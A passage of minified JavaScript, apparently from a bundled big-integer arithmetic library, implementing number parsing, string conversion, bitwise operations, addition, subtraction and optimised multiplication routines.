X=z.length-N;for(J=X%2===0?N+1:N;J<z.length;J+=2)fe=c(z,N,J)<<q,this.words[ne]|=fe&67108863,q>=18?(q-=18,ne+=1,this.words[ne]|=fe>>>26):q+=8}this.strip()};function b(O,z,N,G){for(var J=0,q=Math.min(O.length,N),ne=z;ne<q;ne++){var fe=O.charCodeAt(ne)-48;J*=G,fe>=49?J+=fe-49+10:fe>=17?J+=fe-17+10:J+=fe}return J}u.prototype._parseBase=function(z,N,G){this.words=[0],this.length=1;for(var J=0,q=1;q<=67108863;q*=N)J++;J--,q=q/N|0;for(var ne=z.length-G,fe=ne%J,X=Math.min(ne,ne-fe)+G,W=0,V=G;V<X;V+=J)W=b(z,V,V+J,N),this.imuln(q),this.words[0]+W<67108864?this.words[0]+=W:this._iaddn(W);if(fe!==0){var Y=1;for(W=b(z,V,z.length,N),V=0;V<fe;V++)Y*=N;this.imuln(Y),this.words[0]+W<67108864?this.words[0]+=W:this._iaddn(W)}this.strip()},u.prototype.copy=function(z){z.words=new Array(this.length);for(var N=0;N<this.length;N++)z.words[N]=this.words[N];z.length=this.length,z.negative=this.negative,z.red=this.red},u.prototype.clone=function(){var z=new u(null);return this.copy(z),z},u.prototype._expand=function(z){for(;this.length<z;)this.words[this.length++]=0;return this},u.prototype.strip=function(){for(;this.length>1&&this.words[this.length-1]===0;)this.length--;return this._normSign()},u.prototype._normSign=function(){return this.length===1&&this.words[0]===0&&(this.negative=0),this},u.prototype.inspect=function(){return(this.red?"<BN-R: ":"<BN: ")+this.toString(16)+">"};var h=["","0","00","000","0000","00000","000000","0000000","00000000","000000000","0000000000","00000000000","000000000000","0000000000000","00000000000000","000000000000000","0000000000000000","00000000000000000","000000000000000000","0000000000000000000","00000000000000000000","000000000000000000000","0000000000000000000000","00000000000000000000000","000000000000000000000000","0000000000000000000000000"],i=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],v=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];u.prototype.toString=function(z,N){z=z||10,N=N|0||1;var G;if(z===16||z==="hex"){G="";for(var J=0,q=0,ne=0;ne<this.length;ne++){var fe=this.words[ne],X=((fe<<J|q)&16777215).toString(16);q=fe>>>24-J&16777215,q!==0||ne!==this.length-1?G=h[6-X.length]+X+G:G=X+G,J+=2,J>=26&&(J-=26,ne--)}for(q!==0&&(G=q.toString(16)+G);G.length%N!==0;)G="0"+G;return this.negative!==0&&(G="-"+G),G}if(z===(z|0)&&z>=2&&z<=36){var W=i[z],V=v[z];G="";var Y=this.clone();for(Y.negative=0;!Y.isZero();){var Q=Y.modn(V).toString(z);Y=Y.idivn(V),Y.isZero()?G=Q+G:G=h[W-Q.length]+Q+G}for(this.isZero()&&(G="0"+G);G.length%N!==0;)G="0"+G;return this.negative!==0&&(G="-"+G),G}a(!1,"Base should be between 2 and 36")},u.prototype.toNumber=function(){var z=this.words[0];return this.length===2?z+=this.words[1]*67108864:this.length===3&&this.words[2]===1?z+=4503599627370496+this.words[1]*67108864:this.length>2&&a(!1,"Number can only safely store up to 53 bits"),this.negative!==0?-z:z},u.prototype.toJSON=function(){return this.toString(16)},u.prototype.toBuffer=function(z,N){return a(typeof s<"u"),this.toArrayLike(s,z,N)},u.prototype.toArray=function(z,N){return this.toArrayLike(Array,z,N)},u.prototype.toArrayLike=function(z,N,G){var J=this.byteLength(),q=G||Math.max(1,J);a(J<=q,"byte array longer than desired length"),a(q>0,"Requested array length <= 0"),this.strip();var ne=N==="le",fe=new z(q),X,W,V=this.clone();if(ne){for(W=0;!V.isZero();W++)X=V.andln(255),V.iushrn(8),fe[W]=X;for(;W<q;W++)fe[W]=0}else{for(W=0;W<q-J;W++)fe[W]=0;for(W=0;!V.isZero();W++)X=V.andln(255),V.iushrn(8),fe[q-W-1]=X}return fe},Math.clz32?u.prototype._countBits=function(z){return 32-Math.clz32(z)}:u.prototype._countBits=function(z){var N=z,G=0;return N>=4096&&(G+=13,N>>>=13),N>=64&&(G+=7,N>>>=7),N>=8&&(G+=4,N>>>=4),N>=2&&(G+=2,N>>>=2),G+N},u.prototype._zeroBits=function(z){if(z===0)return 26;var N=z,G=0;return N&8191||(G+=13,N>>>=13),N&127||(G+=7,N>>>=7),N&15||(G+=4,N>>>=4),N&3||(G+=2,N>>>=2),N&1||G++,G},u.prototype.bitLength=function(){var z=this.words[this.length-1],N=this._countBits(z);return(this.length-1)*26+N};function T(O){for(var z=new Array(O.bitLength()),N=0;N<z.length;N++){var G=N/26|0,J=N%26;z[N]=(O.words[G]&1<<J)>>>J}return z}u.prototype.zeroBits=function(){if(this.isZero())return 0;for(var z=0,N=0;N<this.length;N++){var G=this._zeroBits(this.words[N]);if(z+=G,G!==26)break}return z},u.prototype.byteLength=function(){return Math.ceil(this.bitLength()/8)},u.prototype.toTwos=function(z){return this.negative!==0?this.abs().inotn(z).iaddn(1):this.clone()},u.prototype.fromTwos=function(z){return this.testn(z-1)?this.notn(z).iaddn(1).ineg():this.clone()},u.prototype.isNeg=function(){return this.negative!==0},u.prototype.neg=function(){return this.clone().ineg()},u.prototype.ineg=function(){return this.isZero()||(this.negative^=1),this},u.prototype.iuor=function(z){for(;this.length<z.length;)this.words[this.length++]=0;for(var N=0;N<z.length;N++)this.words[N]=this.words[N]|z.words[N];return this.strip()},u.prototype.ior=function(z){return a((this.negative|z.negative)===0),this.iuor(z)},u.prototype.or=function(z){return this.length>z.length?this.clone().ior(z):z.clone().ior(this)},u.prototype.uor=function(z){return this.length>z.length?this.clone().iuor(z):z.clone().iuor(this)},u.prototype.iuand=function(z){var N;this.length>z.length?N=z:N=this;for(var G=0;G<N.length;G++)this.words[G]=this.words[G]&z.words[G];return this.length=N.length,this.strip()},u.prototype.iand=function(z){return a((this.negative|z.negative)===0),this.iuand(z)},u.prototype.and=function(z){return this.length>z.length?this.clone().iand(z):z.clone().iand(this)},u.prototype.uand=function(z){return this.length>z.length?this.clone().iuand(z):z.clone().iuand(this)},u.prototype.iuxor=function(z){var N,G;this.length>z.length?(N=this,G=z):(N=z,G=this);for(var J=0;J<G.length;J++)this.words[J]=N.words[J]^G.words[J];if(this!==N)for(;J<N.length;J++)this.words[J]=N.words[J];return this.length=N.length,this.strip()},u.prototype.ixor=function(z){return a((this.negative|z.negative)===0),this.iuxor(z)},u.prototype.xor=function(z){return this.length>z.length?this.clone().ixor(z):z.clone().ixor(this)},u.prototype.uxor=function(z){return this.length>z.length?this.clone().iuxor(z):z.clone().iuxor(this)},u.prototype.inotn=function(z){a(typeof z=="number"&&z>=0);var N=Math.ceil(z/26)|0,G=z%26;this._expand(N),G>0&&N--;for(var J=0;J<N;J++)this.words[J]=~this.words[J]&67108863;return G>0&&(this.words[J]=~this.words[J]&67108863>>26-G),this.strip()},u.prototype.notn=function(z){return this.clone().inotn(z)},u.prototype.setn=function(z,N){a(typeof z=="number"&&z>=0);var G=z/26|0,J=z%26;return this._expand(G+1),N?this.words[G]=this.words[G]|1<<J:this.words[G]=this.words[G]&~(1<<J),this.strip()},u.prototype.iadd=function(z){var N;if(this.negative!==0&&z.negative===0)return this.negative=0,N=this.isub(z),this.negative^=1,this._normSign();if(this.negative===0&&z.negative!==0)return z.negative=0,N=this.isub(z),z.negative=1,N._normSign();var G,J;this.length>z.length?(G=this,J=z):(G=z,J=this);for(var q=0,ne=0;ne<J.length;ne++)N=(G.words[ne]|0)+(J.words[ne]|0)+q,this.words[ne]=N&67108863,q=N>>>26;for(;q!==0&&ne<G.length;ne++)N=(G.words[ne]|0)+q,this.words[ne]=N&67108863,q=N>>>26;if(this.length=G.length,q!==0)this.words[this.length]=q,this.length++;else if(G!==this)for(;ne<G.length;ne++)this.words[ne]=G.words[ne];return this},u.prototype.add=function(z){var N;return z.negative!==0&&this.negative===0?(z.negative=0,N=this.sub(z),z.negative^=1,N):z.negative===0&&this.negative!==0?(this.negative=0,N=z.sub(this),this.negative=1,N):this.length>z.length?this.clone().iadd(z):z.clone().iadd(this)},u.prototype.isub=function(z){if(z.negative!==0){z.negative=0;var N=this.iadd(z);return z.negative=1,N._normSign()}else if(this.negative!==0)return this.negative=0,this.iadd(z),this.negative=1,this._normSign();var G=this.cmp(z);if(G===0)return this.negative=0,this.length=1,this.words[0]=0,this;var J,q;G>0?(J=this,q=z):(J=z,q=this);for(var ne=0,fe=0;fe<q.length;fe++)N=(J.words[fe]|0)-(q.words[fe]|0)+ne,ne=N>>26,this.words[fe]=N&67108863;for(;ne!==0&&fe<J.length;fe++)N=(J.words[fe]|0)+ne,ne=N>>26,this.words[fe]=N&67108863;if(ne===0&&fe<J.length&&J!==this)for(;fe<J.length;fe++)this.words[fe]=J.words[fe];return this.length=Math.max(this.length,fe),J!==this&&(this.negative=1),this.strip()},u.prototype.sub=function(z){return this.clone().isub(z)};function w(O,z,N){N.negative=z.negative^O.negative;var G=O.length+z.length|0;N.length=G,G=G-1|0;var J=O.words[0]|0,q=z.words[0]|0,ne=J*q,fe=ne&67108863,X=ne/67108864|0;N.words[0]=fe;for(var W=1;W<G;W++){for(var V=X>>>26,Y=X&67108863,Q=Math.min(W,z.length-1),ie=Math.max(0,W-O.length+1);ie<=Q;ie++){var j=W-ie|0;J=O.words[j]|0,q=z.words[ie]|0,ne=J*q+Y,V+=ne/67108864|0,Y=ne&67108863}N.words[W]=Y|0,X=V|0}return X!==0?N.words[W]=X|0:N.length--,N.strip()}var E=function(z,N,G){var J=z.words,q=N.words,ne=G.words,fe=0,X,W,V,Y=J[0]|0,Q=Y&8191,ie=Y>>>13,j=J[1]|0,K=j&8191,oe=j>>>13,re=J[2]|0,le=re&8191,pe=re>>>13,we=J[3]|0,xe=we&8191,ke=we>>>13,_e=J[4]|0,be=_e&8191,ge=_e>>>13,Te=J[5]|0,Fe=Te&8191,Oe=Te>>>13,Ce=J[6]|0,Be=Ce&8191,$e=Ce>>>13,Xe=J[7]|0,Ze=Xe&8191,Ke=Xe>>>13,st=J[8]|0,lt=st&8191,ut=st>>>13,yt=J[9]|0,bt=yt&8191,Ot=yt>>>13,Ge=q[0]|0,Le=Ge&8191,Pe=Ge>>>13,De=q[1]|0,Ee=De&8191,ye=De>>>13,ae=q[2]|0,de=ae&8191,Me=ae>>>13,Ie=q[3]|0,Qe=Ie&8191,et=Ie>>>13,pt=q[4]|0,St=pt&8191,_t=pt>>>13,Ft=q[5]|0,Tt=Ft&8191,Gt=Ft>>>13,er=q[6]|0,Pr=er&8191,ct=er>>>13,Vt=q[7]|0,Ut=Vt&8191,dr=Vt>>>13,sr=q[8]|0,nt=sr&8191,rt=sr>>>13,vt=q[9]|0,gt=vt&8191,wt=vt>>>13;G.negative=z.negative^N.negative,G.length=19,X=Math.imul(Q,Le),W=Math.imul(Q,Pe),W=W+Math.imul(ie,Le)|0,V=Math.imul(ie,Pe);var mt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(mt>>>26)|0,mt&=67108863,X=Math.imul(K,Le),W=Math.imul(K,Pe),W=W+Math.imul(oe,Le)|0,V=Math.imul(oe,Pe),X=X+Math.imul(Q,Ee)|0,W=W+Math.imul(Q,ye)|0,W=W+Math.imul(ie,Ee)|0,V=V+Math.imul(ie,ye)|0;var Pt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Pt>>>26)|0,Pt&=67108863,X=Math.imul(le,Le),W=Math.imul(le,Pe),W=W+Math.imul(pe,Le)|0,V=Math.imul(pe,Pe),X=X+Math.imul(K,Ee)|0,W=W+Math.imul(K,ye)|0,W=W+Math.imul(oe,Ee)|0,V=V+Math.imul(oe,ye)|0,X=X+Math.imul(Q,de)|0,W=W+Math.imul(Q,Me)|0,W=W+Math.imul(ie,de)|0,V=V+Math.imul(ie,Me)|0;var zt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(zt>>>26)|0,zt&=67108863,X=Math.imul(xe,Le),W=Math.imul(xe,Pe),W=W+Math.imul(ke,Le)|0,V=Math.imul(ke,Pe),X=X+Math.imul(le,Ee)|0,W=W+Math.imul(le,ye)|0,W=W+Math.imul(pe,Ee)|0,V=V+Math.imul(pe,ye)|0,X=X+Math.imul(K,de)|0,W=W+Math.imul(K,Me)|0,W=W+Math.imul(oe,de)|0,V=V+Math.imul(oe,Me)|0,X=X+Math.imul(Q,Qe)|0,W=W+Math.imul(Q,et)|0,W=W+Math.imul(ie,Qe)|0,V=V+Math.imul(ie,et)|0;var Xt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Xt>>>26)|0,Xt&=67108863,X=Math.imul(be,Le),W=Math.imul(be,Pe),W=W+Math.imul(ge,Le)|0,V=Math.imul(ge,Pe),X=X+Math.imul(xe,Ee)|0,W=W+Math.imul(xe,ye)|0,W=W+Math.imul(ke,Ee)|0,V=V+Math.imul(ke,ye)|0,X=X+Math.imul(le,de)|0,W=W+Math.imul(le,Me)|0,W=W+Math.imul(pe,de)|0,V=V+Math.imul(pe,Me)|0,X=X+Math.imul(K,Qe)|0,W=W+Math.imul(K,et)|0,W=W+Math.imul(oe,Qe)|0,V=V+Math.imul(oe,et)|0,X=X+Math.imul(Q,St)|0,W=W+Math.imul(Q,_t)|0,W=W+Math.imul(ie,St)|0,V=V+Math.imul(ie,_t)|0;var Yt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Yt>>>26)|0,Yt&=67108863,X=Math.imul(Fe,Le),W=Math.imul(Fe,Pe),W=W+Math.imul(Oe,Le)|0,V=Math.imul(Oe,Pe),X=X+Math.imul(be,Ee)|0,W=W+Math.imul(be,ye)|0,W=W+Math.imul(ge,Ee)|0,V=V+Math.imul(ge,ye)|0,X=X+Math.imul(xe,de)|0,W=W+Math.imul(xe,Me)|0,W=W+Math.imul(ke,de)|0,V=V+Math.imul(ke,Me)|0,X=X+Math.imul(le,Qe)|0,W=W+Math.imul(le,et)|0,W=W+Math.imul(pe,Qe)|0,V=V+Math.imul(pe,et)|0,X=X+Math.imul(K,St)|0,W=W+Math.imul(K,_t)|0,W=W+Math.imul(oe,St)|0,V=V+Math.imul(oe,_t)|0,X=X+Math.imul(Q,Tt)|0,W=W+Math.imul(Q,Gt)|0,W=W+Math.imul(ie,Tt)|0,V=V+Math.imul(ie,Gt)|0;var $t=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+($t>>>26)|0,$t&=67108863,X=Math.imul(Be,Le),W=Math.imul(Be,Pe),W=W+Math.imul($e,Le)|0,V=Math.imul($e,Pe),X=X+Math.imul(Fe,Ee)|0,W=W+Math.imul(Fe,ye)|0,W=W+Math.imul(Oe,Ee)|0,V=V+Math.imul(Oe,ye)|0,X=X+Math.imul(be,de)|0,W=W+Math.imul(be,Me)|0,W=W+Math.imul(ge,de)|0,V=V+Math.imul(ge,Me)|0,X=X+Math.imul(xe,Qe)|0,W=W+Math.imul(xe,et)|0,W=W+Math.imul(ke,Qe)|0,V=V+Math.imul(ke,et)|0,X=X+Math.imul(le,St)|0,W=W+Math.imul(le,_t)|0,W=W+Math.imul(pe,St)|0,V=V+Math.imul(pe,_t)|0,X=X+Math.imul(K,Tt)|0,W=W+Math.imul(K,Gt)|0,W=W+Math.imul(oe,Tt)|0,V=V+Math.imul(oe,Gt)|0,X=X+Math.imul(Q,Pr)|0,W=W+Math.imul(Q,ct)|0,W=W+Math.imul(ie,Pr)|0,V=V+Math.imul(ie,ct)|0;var yr=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(yr>>>26)|0,yr&=67108863,X=Math.imul(Ze,Le),W=Math.imul(Ze,Pe),W=W+Math.imul(Ke,Le)|0,V=Math.imul(Ke,Pe),X=X+Math.imul(Be,Ee)|0,W=W+Math.imul(Be,ye)|0,W=W+Math.imul($e,Ee)|0,V=V+Math.imul($e,ye)|0,X=X+Math.imul(Fe,de)|0,W=W+Math.imul(Fe,Me)|0,W=W+Math.imul(Oe,de)|0,V=V+Math.imul(Oe,Me)|0,X=X+Math.imul(be,Qe)|0,W=W+Math.imul(be,et)|0,W=W+Math.imul(ge,Qe)|0,V=V+Math.imul(ge,et)|0,X=X+Math.imul(xe,St)|0,W=W+Math.imul(xe,_t)|0,W=W+Math.imul(ke,St)|0,V=V+Math.imul(ke,_t)|0,X=X+Math.imul(le,Tt)|0,W=W+Math.imul(le,Gt)|0,W=W+Math.imul(pe,Tt)|0,V=V+Math.imul(pe,Gt)|0,X=X+Math.imul(K,Pr)|0,W=W+Math.imul(K,ct)|0,W=W+Math.imul(oe,Pr)|0,V=V+Math.imul(oe,ct)|0,X=X+Math.imul(Q,Ut)|0,W=W+Math.imul(Q,dr)|0,W=W+Math.imul(ie,Ut)|0,V=V+Math.imul(ie,dr)|0;var Ue=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Ue>>>26)|0,Ue&=67108863,X=Math.imul(lt,Le),W=Math.imul(lt,Pe),W=W+Math.imul(ut,Le)|0,V=Math.imul(ut,Pe),X=X+Math.imul(Ze,Ee)|0,W=W+Math.imul(Ze,ye)|0,W=W+Math.imul(Ke,Ee)|0,V=V+Math.imul(Ke,ye)|0,X=X+Math.imul(Be,de)|0,W=W+Math.imul(Be,Me)|0,W=W+Math.imul($e,de)|0,V=V+Math.imul($e,Me)|0,X=X+Math.imul(Fe,Qe)|0,W=W+Math.imul(Fe,et)|0,W=W+Math.imul(Oe,Qe)|0,V=V+Math.imul(Oe,et)|0,X=X+Math.imul(be,St)|0,W=W+Math.imul(be,_t)|0,W=W+Math.imul(ge,St)|0,V=V+Math.imul(ge,_t)|0,X=X+Math.imul(xe,Tt)|0,W=W+Math.imul(xe,Gt)|0,W=W+Math.imul(ke,Tt)|0,V=V+Math.imul(ke,Gt)|0,X=X+Math.imul(le,Pr)|0,W=W+Math.imul(le,ct)|0,W=W+Math.imul(pe,Pr)|0,V=V+Math.imul(pe,ct)|0,X=X+Math.imul(K,Ut)|0,W=W+Math.imul(K,dr)|0,W=W+Math.imul(oe,Ut)|0,V=V+Math.imul(oe,dr)|0,X=X+Math.imul(Q,nt)|0,W=W+Math.imul(Q,rt)|0,W=W+Math.imul(ie,nt)|0,V=V+Math.imul(ie,rt)|0;var Ne=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Ne>>>26)|0,Ne&=67108863,X=Math.imul(bt,Le),W=Math.imul(bt,Pe),W=W+Math.imul(Ot,Le)|0,V=Math.imul(Ot,Pe),X=X+Math.imul(lt,Ee)|0,W=W+Math.imul(lt,ye)|0,W=W+Math.imul(ut,Ee)|0,V=V+Math.imul(ut,ye)|0,X=X+Math.imul(Ze,de)|0,W=W+Math.imul(Ze,Me)|0,W=W+Math.imul(Ke,de)|0,V=V+Math.imul(Ke,Me)|0,X=X+Math.imul(Be,Qe)|0,W=W+Math.imul(Be,et)|0,W=W+Math.imul($e,Qe)|0,V=V+Math.imul($e,et)|0,X=X+Math.imul(Fe,St)|0,W=W+Math.imul(Fe,_t)|0,W=W+Math.imul(Oe,St)|0,V=V+Math.imul(Oe,_t)|0,X=X+Math.imul(be,Tt)|0,W=W+Math.imul(be,Gt)|0,W=W+Math.imul(ge,Tt)|0,V=V+Math.imul(ge,Gt)|0,X=X+Math.imul(xe,Pr)|0,W=W+Math.imul(xe,ct)|0,W=W+Math.imul(ke,Pr)|0,V=V+Math.imul(ke,ct)|0,X=X+Math.imul(le,Ut)|0,W=W+Math.imul(le,dr)|0,W=W+Math.imul(pe,Ut)|0,V=V+Math.imul(pe,dr)|0,X=X+Math.imul(K,nt)|0,W=W+Math.imul(K,rt)|0,W=W+Math.imul(oe,nt)|0,V=V+Math.imul(oe,rt)|0,X=X+Math.imul(Q,gt)|0,W=W+Math.imul(Q,wt)|0,W=W+Math.imul(ie,gt)|0,V=V+Math.imul(ie,wt)|0;var Et=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Et>>>26)|0,Et&=67108863,X=Math.imul(bt,Ee),W=Math.imul(bt,ye),W=W+Math.imul(Ot,Ee)|0,V=Math.imul(Ot,ye),X=X+Math.imul(lt,de)|0,W=W+Math.imul(lt,Me)|0,W=W+Math.imul(ut,de)|0,V=V+Math.imul(ut,Me)|0,X=X+Math.imul(Ze,Qe)|0,W=W+Math.imul(Ze,et)|0,W=W+Math.imul(Ke,Qe)|0,V=V+Math.imul(Ke,et)|0,X=X+Math.imul(Be,St)|0,W=W+Math.imul(Be,_t)|0,W=W+Math.imul($e,St)|0,V=V+Math.imul($e,_t)|0,X=X+Math.imul(Fe,Tt)|0,W=W+Math.imul(Fe,Gt)|0,W=W+Math.imul(Oe,Tt)|0,V=V+Math.imul(Oe,Gt)|0,X=X+Math.imul(be,Pr)|0,W=W+Math.imul(be,ct)|0,W=W+Math.imul(ge,Pr)|0,V=V+Math.imul(ge,ct)|0,X=X+Math.imul(xe,Ut)|0,W=W+Math.imul(xe,dr)|0,W=W+Math.imul(ke,Ut)|0,V=V+Math.imul(ke,dr)|0,X=X+Math.imul(le,nt)|0,W=W+Math.imul(le,rt)|0,W=W+Math.imul(pe,nt)|0,V=V+Math.imul(pe,rt)|0,X=X+Math.imul(K,gt)|0,W=W+Math.imul(K,wt)|0,W=W+Math.imul(oe,gt)|0,V=V+Math.imul(oe,wt)|0;var Lt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Lt>>>26)|0,Lt&=67108863,X=Math.imul(bt,de),W=Math.imul(bt,Me),W=W+Math.imul(Ot,de)|0,V=Math.imul(Ot,Me),X=X+Math.imul(lt,Qe)|0,W=W+Math.imul(lt,et)|0,W=W+Math.imul(ut,Qe)|0,V=V+Math.imul(ut,et)|0,X=X+Math.imul(Ze,St)|0,W=W+Math.imul(Ze,_t)|0,W=W+Math.imul(Ke,St)|0,V=V+Math.imul(Ke,_t)|0,X=X+Math.imul(Be,Tt)|0,W=W+Math.imul(Be,Gt)|0,W=W+Math.imul($e,Tt)|0,V=V+Math.imul($e,Gt)|0,X=X+Math.imul(Fe,Pr)|0,W=W+Math.imul(Fe,ct)|0,W=W+Math.imul(Oe,Pr)|0,V=V+Math.imul(Oe,ct)|0,X=X+Math.imul(be,Ut)|0,W=W+Math.imul(be,dr)|0,W=W+Math.imul(ge,Ut)|0,V=V+Math.imul(ge,dr)|0,X=X+Math.imul(xe,nt)|0,W=W+Math.imul(xe,rt)|0,W=W+Math.imul(ke,nt)|0,V=V+Math.imul(ke,rt)|0,X=X+Math.imul(le,gt)|0,W=W+Math.imul(le,wt)|0,W=W+Math.imul(pe,gt)|0,V=V+Math.imul(pe,wt)|0;var Nt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Nt>>>26)|0,Nt&=67108863,X=Math.imul(bt,Qe),W=Math.imul(bt,et),W=W+Math.imul(Ot,Qe)|0,V=Math.imul(Ot,et),X=X+Math.imul(lt,St)|0,W=W+Math.imul(lt,_t)|0,W=W+Math.imul(ut,St)|0,V=V+Math.imul(ut,_t)|0,X=X+Math.imul(Ze,Tt)|0,W=W+Math.imul(Ze,Gt)|0,W=W+Math.imul(Ke,Tt)|0,V=V+Math.imul(Ke,Gt)|0,X=X+Math.imul(Be,Pr)|0,W=W+Math.imul(Be,ct)|0,W=W+Math.imul($e,Pr)|0,V=V+Math.imul($e,ct)|0,X=X+Math.imul(Fe,Ut)|0,W=W+Math.imul(Fe,dr)|0,W=W+Math.imul(Oe,Ut)|0,V=V+Math.imul(Oe,dr)|0,X=X+Math.imul(be,nt)|0,W=W+Math.imul(be,rt)|0,W=W+Math.imul(ge,nt)|0,V=V+Math.imul(ge,rt)|0,X=X+Math.imul(xe,gt)|0,W=W+Math.imul(xe,wt)|0,W=W+Math.imul(ke,gt)|0,V=V+Math.imul(ke,wt)|0;var rr=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(rr>>>26)|0,rr&=67108863,X=Math.imul(bt,St),W=Math.imul(bt,_t),W=W+Math.imul(Ot,St)|0,V=Math.imul(Ot,_t),X=X+Math.imul(lt,Tt)|0,W=W+Math.imul(lt,Gt)|0,W=W+Math.imul(ut,Tt)|0,V=V+Math.imul(ut,Gt)|0,X=X+Math.imul(Ze,Pr)|0,W=W+Math.imul(Ze,ct)|0,W=W+Math.imul(Ke,Pr)|0,V=V+Math.imul(Ke,ct)|0,X=X+Math.imul(Be,Ut)|0,W=W+Math.imul(Be,dr)|0,W=W+Math.imul($e,Ut)|0,V=V+Math.imul($e,dr)|0,X=X+Math.imul(Fe,nt)|0,W=W+Math.imul(Fe,rt)|0,W=W+Math.imul(Oe,nt)|0,V=V+Math.imul(Oe,rt)|0,X=X+Math.imul(be,gt)|0,W=W+Math.imul(be,wt)|0,W=W+Math.imul(ge,gt)|0,V=V+Math.imul(ge,wt)|0;var tr=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(tr>>>26)|0,tr&=67108863,X=Math.imul(bt,Tt),W=Math.imul(bt,Gt),W=W+Math.imul(Ot,Tt)|0,V=Math.imul(Ot,Gt),X=X+Math.imul(lt,Pr)|0,W=W+Math.imul(lt,ct)|0,W=W+Math.imul(ut,Pr)|0,V=V+Math.imul(ut,ct)|0,X=X+Math.imul(Ze,Ut)|0,W=W+Math.imul(Ze,dr)|0,W=W+Math.imul(Ke,Ut)|0,V=V+Math.imul(Ke,dr)|0,X=X+Math.imul(Be,nt)|0,W=W+Math.imul(Be,rt)|0,W=W+Math.imul($e,nt)|0,V=V+Math.imul($e,rt)|0,X=X+Math.imul(Fe,gt)|0,W=W+Math.imul(Fe,wt)|0,W=W+Math.imul(Oe,gt)|0,V=V+Math.imul(Oe,wt)|0;var Jt=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(Jt>>>26)|0,Jt&=67108863,X=Math.imul(bt,Pr),W=Math.imul(bt,ct),W=W+Math.imul(Ot,Pr)|0,V=Math.imul(Ot,ct),X=X+Math.imul(lt,Ut)|0,W=W+Math.imul(lt,dr)|0,W=W+Math.imul(ut,Ut)|0,V=V+Math.imul(ut,dr)|0,X=X+Math.imul(Ze,nt)|0,W=W+Math.imul(Ze,rt)|0,W=W+Math.imul(Ke,nt)|0,V=V+Math.imul(Ke,rt)|0,X=X+Math.imul(Be,gt)|0,W=W+Math.imul(Be,wt)|0,W=W+Math.imul($e,gt)|0,V=V+Math.imul($e,wt)|0;var It=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(It>>>26)|0,It&=67108863,X=Math.imul(bt,Ut),W=Math.imul(bt,dr),W=W+Math.imul(Ot,Ut)|0,V=Math.imul(Ot,dr),X=X+Math.imul(lt,nt)|0,W=W+Math.imul(lt,rt)|0,W=W+Math.imul(ut,nt)|0,V=V+Math.imul(ut,rt)|0,X=X+Math.imul(Ze,gt)|0,W=W+Math.imul(Ze,wt)|0,W=W+Math.imul(Ke,gt)|0,V=V+Math.imul(Ke,wt)|0;var or=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(or>>>26)|0,or&=67108863,X=Math.imul(bt,nt),W=Math.imul(bt,rt),W=W+Math.imul(Ot,nt)|0,V=Math.imul(Ot,rt),X=X+Math.imul(lt,gt)|0,W=W+Math.imul(lt,wt)|0,W=W+Math.imul(ut,gt)|0,V=V+Math.imul(ut,wt)|0;var ur=(fe+X|0)+((W&8191)<<13)|0;fe=(V+(W>>>13)|0)+(ur>>>26)|0,ur&=67108863,X=Math.imul(bt,gt),W=Math.imul(bt,wt),W=W+Math.imul(Ot,gt)|0,V=Math.imul(Ot,wt);var fr=(fe+X|0)+((W&8191)<<13)|0;return fe=(V+(W>>>13)|0)+(fr>>>26)|0,fr&=67108863,ne[0]=mt,ne[1]=Pt,ne[2]=zt,ne[3]=Xt,ne[4]=Yt,ne[5]=$t,ne[6]=yr,ne[7]=Ue,ne[8]=Ne,ne[9]=Et,ne[10]=Lt,ne[11]=Nt,ne[12]=rr,ne[13]=tr,ne[14]=Jt,ne[15]=It,ne[16]=or,ne[17]=ur,ne[18]=fr,fe!==0&&(ne[19]=fe,G.length++),G};Math.imul||(E=w);function p(O,z,N){N.negative=z.negative^O.negative,N.length=O.length+z.length;for(var G=0,J=0,q=0;q<N.length-1;q++){var ne=J;J=0;for(var fe=G&67108863,X=Math.min(q,z.length-1),W=Math.max(0,q-O.length+1);W<=X;W++){var V=q-W,Y=O.words[V]|0,Q=z.words[W]|0,ie=Y*Q,j=ie&67108863;ne=ne+(ie/67108864|0)|0,j=j+fe|0,fe=j&67108863,ne=ne+(j>>>26)|0,J+=ne>>>26,ne&=67108863}N.words[q]=fe,G=ne,ne=J}return G!==0?N.words[q]=G:N.length--,N.strip()}function A(O,z,N){var G=new m;return G.mulp(O,z,N)}u.prototype.mulTo=function(z,N){var G,J=this.length+z.length;return this.length===10&&z.length===10?G=E(this,z,N):J<63?G=w(this,z,N):J<1024?G=p(this,z,N):G=A(this,z,N),G};function m(O,z){this.x=O,this.y=z}m.prototype.makeRBT=function(z){for(var N=new Array(z),G=u.prototype._countBits(z)-1,J=0;J<z;J++)N[J]=this.revBin(J,G,z);return N},m.prototype.revBin=function(z,N,G){if(z===0||z===G-1)return z;for(var J=0,q=0;q<N;q++)J|=(z&1)<<N-q-1,z>>=1;return J},m.prototype.permute=function(z,N,G,J,q,ne){for(var 